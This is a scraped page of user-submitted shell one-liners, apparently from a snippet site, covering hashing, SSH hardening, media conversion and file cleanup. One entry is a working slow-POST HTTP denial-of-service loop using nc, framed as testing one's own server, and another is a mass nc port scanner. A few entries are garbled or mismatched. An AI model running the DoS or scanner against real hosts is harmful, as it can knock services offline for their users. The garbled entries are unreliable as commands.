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Generate MD5 of string and output only the hash checksum
This is sample output - yours may be different.
-1

echo -n "String to MD5" | md5sum | awk '{print $1}'

twjolson · 2011-03-05 02:37:28 4
Root Security

This will tighten up security for your box. The default value for PermitRootLogin sadly is 'yes'.
This is sample output - yours may be different.
-1

s=/etc/ssh/sshd_config;r=PermitRootLogin;cp $s{,.old}&& if grep $r $s;then sed "s/$r yes/$r no/" $s.old > $s; else echo $r no >> $s;fi

kzh · 2011-01-30 23:41:59 11
Get column names in MySQL

Useful when you need to write e.g. an INSERT for a table with a large number of columns. This command will retrieve the column names and comma-separate them ready for INSERT INTO(...), removing the last comma.
This is sample output - yours may be different.
-1

mysql -u <user> --password=<password> -e "SHOW COLUMNS FROM <table>" <database> | awk '{print $1}' | tr "\n" "," | sed 's/,$//g'

maxmanders · 2009-10-29 13:42:17 3
ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an mm.flv

add overlay png image to video as logo...........
This is sample output - yours may be different.
-1

ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an mm.flv

sandeepverma · 2009-11-30 10:34:51 4
find duplicate files in a directory and choose which one to delete

allow you to find duplicates files in "DIRECTORY" and choose wich one to delete fudpes must be installed: sudo apt-get install fdupes
This is sample output - yours may be different.
-1

fdupes DIRECTORY/ -r -d

desmatron · 2011-03-05 09:48:35 5
Change size of lots of image files. File names are read from a text file.

Imagemagick library is used. If image format is not JPEG, the "quality" option should not be issued.
This is sample output - yours may be different.
-1

( while read File; do mogrify -resize 1024 -quality 96 $File; done ) < filelist

Corsair · 2009-02-08 02:48:26 11
restart Bluetooth from terminal

http://askubuntu.com/questions/38860/problems-with-my-bluetooth-indicator Show Sample Output
This is sample output - yours may be different.
```
 * Stopping bluetooth                                                    [ OK ] 
 * Starting bluetooth                                                    [ OK ]
```
-1

sudo service bluetooth restart

mariusbutuc · 2011-09-16 15:01:21 11
Force kill all named processes
This is sample output - yours may be different.
-1

kill -9 $(ps -ef | grep [h]ttpd | awk '{print $2}')

peterRepeater · 2012-02-28 13:15:55 5
Combo matrix

This is longer than others on here. The reason for this is I have combined two different matrix commands so it would work on all computers. I logged onto my server through a computer and it worked fine. I logged into my server through a mac and it looked $4!t so I have made one that works through both. Show Sample Output
This is sample output - yours may be different.
```
echo -e "\e[32m"; while :; do printf '%*c' $(($RANDOM % 30)) $(($RANDOM
% 2)); for i in {1..16}; do r=`echo -e "\x$(echo $(($(($RANDOM % 26)) + 
$(echo $([[ $(($RANDOM % 3)) == 1 ]] && echo -n 48 || echo -n $([[ 
$(($RANDOM % 3)) == 2 ]] && echo -n 97 || echo -n 65))))) 16 o p | 
dc)"`; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1  ]]; then v+="\e[1m $r   "; else v+="\e[2m $r   "; fi; else v+="     ";  fi; done; echo -e "$v"; v="";done
```
-1

echo -e "CHECK=SAMPLE" output --command_to_long

techie · 2013-04-03 08:46:47 10

Sort all processes by the amount of virtual memory they are using

left-most column is PID, middle is virtual memory being consumed, right-most is actual process. Show Sample Output

-1

ps -e -o pid,vsz,comm= | sort -n -k 2

jmorganwalker · 2014-05-14 00:36:50 12

Erase empty files

The command find search commands with size zero and erase them.
This is sample output - yours may be different.
-1

find . -size 0 -print0 | xargs -0 rm

osvaldofilho · 2009-10-29 14:10:02 3
manually set system date/time

date MMDDhhmmYYYY date MMDDhhmm # example 27.12.1975 08:00 date 122708001975 Show Sample Output
This is sample output - yours may be different.
```
xen1 ~ # date
Sat May 29 08:30:02 CEST 2010
xen1 ~ # date 122708001975
Sat Dec 27 08:00:00 CET 1975
xen1 ~ # date
Sat Dec 27 08:00:01 CET 1975
```
-1

date MMDDhhmmYYYY

christian773 · 2010-05-29 08:26:13 3
Mini-framework: just paste and execute!

Schematics: command [options] [paste your variable here] parameter command [options] [paste entire column of variables here] parameter ... (hard-code command "c" and parameter "e" according to your wishes: in example shown command = "cp -a" and parameter = "~") Features: - Quick exchange only variable part of a long command line - Make variable part to be an entire column of data (i.e. file list) - Full control while processing every single item Hints: Paste column of data from anywhere. I.e. utilize the Block Select Mode to drag, select and copy columns (In KDE Konsole with Ctrl+Alt pressed, or only Ctrl pressed in GNOME Terminal respectively). Disadvantages: You can paste only one single variable in a row. If there are more space separated variables in a row only first one will be processed, but you can arrange your variables in a column instead. To transpose rows to columns or vice versa look at Linux manual pages for 'cut' and 'paste'. TODO: - add edit mode to vary command "c" and parameter "e" on the fly - add one edit mode more to handle every list item different - add y/n/a (=All) instead of only y(=default)/n to allowed answers Disclaimer: The code is not optimized, only the basic idea is presented here. It's up to you to shorten code or extend the functionality. Show Sample Output
This is sample output - yours may be different.
```
paste

./test/data1
./test/test0.sh
./test/test0.sh~

cp -ap ./test/data1 ~
y/n?
y
cp -ap ./test/test0.sh ~
y/n?
^C
```
-1

c="cp -a";e="~";echo -e "\npaste\n";i=0;k="1"; while [[ "$k" != "" ]]; do read -a k;r[i]=$k;((i++));done;i=0;while :;do t=${r[i]};[ "$t" == "" ] && break; g=$(echo $c ${r[i]} $e);echo -e $g "\ny/n?";read y;[ "$y" != "n" ] && eval $g;((i++));done

knoppix5 · 2011-12-04 12:45:44 4
a find and replace within text-based files
This is sample output - yours may be different.
-1

sed -i 's/http:\/\/old\/new\///g' index.html

leonteale · 2013-02-07 18:45:23 5
Encrypted Tarballs

gpg's compression is as suitable as gzip's however your backups can now be encrypted. to extract use: gpg < folder.tpg | tar -xf -
This is sample output - yours may be different.
-1

tar -cf - folder/ | gpg -c > folder.tpg

copremesis · 2009-05-08 19:20:08 5
Get your external IP address

Same thing as above, just uses fetch and ipchicken.com Show Sample Output
This is sample output - yours may be different.
```
1.2.3.4
```
-1

fetch -q -o - http://ipchicken.com | egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}'

spackle · 2009-08-06 11:57:44 3
Autodetect screens and extend workspace to the left

Disper: http://willem.engen.nl/projects/disper/ Moving Gnome Panels to the external screen is done using gconf-editor, changing property "/apps/panel/toplevels/top_panel_screen0/monitor", as well as "/apps/panel/toplevels/bottom_panel_screen0/monitor" to int value "1". This can be done from the command line using ' gconftool-2 --set "/apps/panel/toplevels/top_panel_screen0/monitor" --type integer "1"' so a nice script can be written.
This is sample output - yours may be different.
-1

disper --displays=auto -e -t left

unixmonkey6754 · 2010-01-28 06:46:56 113
Performs Layer 7 HTTP DoS attack

Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!
This is sample output - yours may be different.
-1

for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done

elceef · 2015-04-15 14:02:55 9
Get your external IP address
This is sample output - yours may be different.
-1

wget -O - http://checkip.dyndns.org|sed 's/[^0-9.]//g'

thundernode · 2009-08-06 12:47:32 5
Find out who change what files in a SVN repository
This is sample output - yours may be different.
-1

svn log -v | less

jimthunderbird · 2010-02-26 08:01:55 3
Batch file suffix renaming

Renames files eliminating suffix, in this case everything after "-" is cutted. Just change "-" with the character you need. Show Sample Output
This is sample output - yours may be different.
```
Before:
TFO-RINGTONE.mp3

After:
TFO.mp3
```
-1

for i in *; do j=`echo $i | cut -d "-" -f1`; j=$j; mv $i $j; done

jaimerosario · 2011-03-06 11:58:37 16
convert chrome html export to folders, links and descriptions

chrome only lets you export in html format, with a lot of table junk, this command will just export the titles of the links and the links without all that extra junk Show Sample Output
This is sample output - yours may be different.
```
<h3>search engines</h3>
<a href="http://google.com/">google search engine</a>
```
-1

grep -E '<DT><A|<DT><H3' bookmarks.html | sed 's/<DT>//' | sed '/Bookmarks bar/d' | sed 's/ ADD_DATE=\".*\"//g' | sed 's/^[ \t]*//' | tr '<A HREF' '<a href'

chrismccoy · 2011-05-26 22:21:01 8
Processes biglion quantity of sold ebay coupons/bonus codes

Processes biglion quantity of sold ebay coupons/bonus codes, so you can know approximate count of users who buyed the coupons and when sales are come up again. You can change sleep parameter so script will work slowly or faster (default is 5 seconds). Additional requirements: curl Standart tools used: awk, date, cat, grep (bash) Show Sample Output
This is sample output - yours may be different.
```
Fri Nov  8 12:32:03 UTC 2013
9518

Fri Nov  8 12:32:08 UTC 2013
9518
```
-1

while true; do date; (curl -s -o 1.html http://www.biglion.ru/deals/ebay-80/ &); sleep 5; cat 1.html | grep "купонов" | awk -F"<div>" '{print $2}' | awk -F"<span>" '{print $1}'; done

sxiii · 2013-11-08 12:40:05 7
make image semi-transparent
This is sample output - yours may be different.
-1

Pasion_por_Debian_1_by_arthecrow

bokeron23 · 2014-08-23 10:03:25 8
Fast portscanner via xargs
This is sample output - yours may be different.
-1

xargs -i -P 1200 nc -zvn {} 22 < textfile-with-hosts.txt

wuseman1 · 2019-08-25 02:56:52 736
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remove files and directories with acces time older than a given date

touch a dummy file with the specified date, then use find with -anewer .

grep compressed log files without extracting

accomplishes the same thing without unzipping the whole file, and while i have never seen a log.tar.gz file that was a binary, i will concede that it might happen, so add the -a in there: $zgrep -ia "string" log.tar.gz it's still shorter/easier to type...

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Convert CSV to JSON

Replace 'csv_file.csv' with your filename.

Generate a random password 30 characters long

Convert spaces in file names to underscores

ping with timestamp

floating point operations in shell scripts

using bc is for sissies. dc is much better :-D Polish notation will rule the world...

Rename files in batch

Generate a ZenCart-style MD5 password hash.

ZenCart uses a MD5 with a salt to secure its passwords. If you need to forcibly change someone's password to a known value within the database, this one-liner can generate the password. Change the value of 'p' to the password you want.

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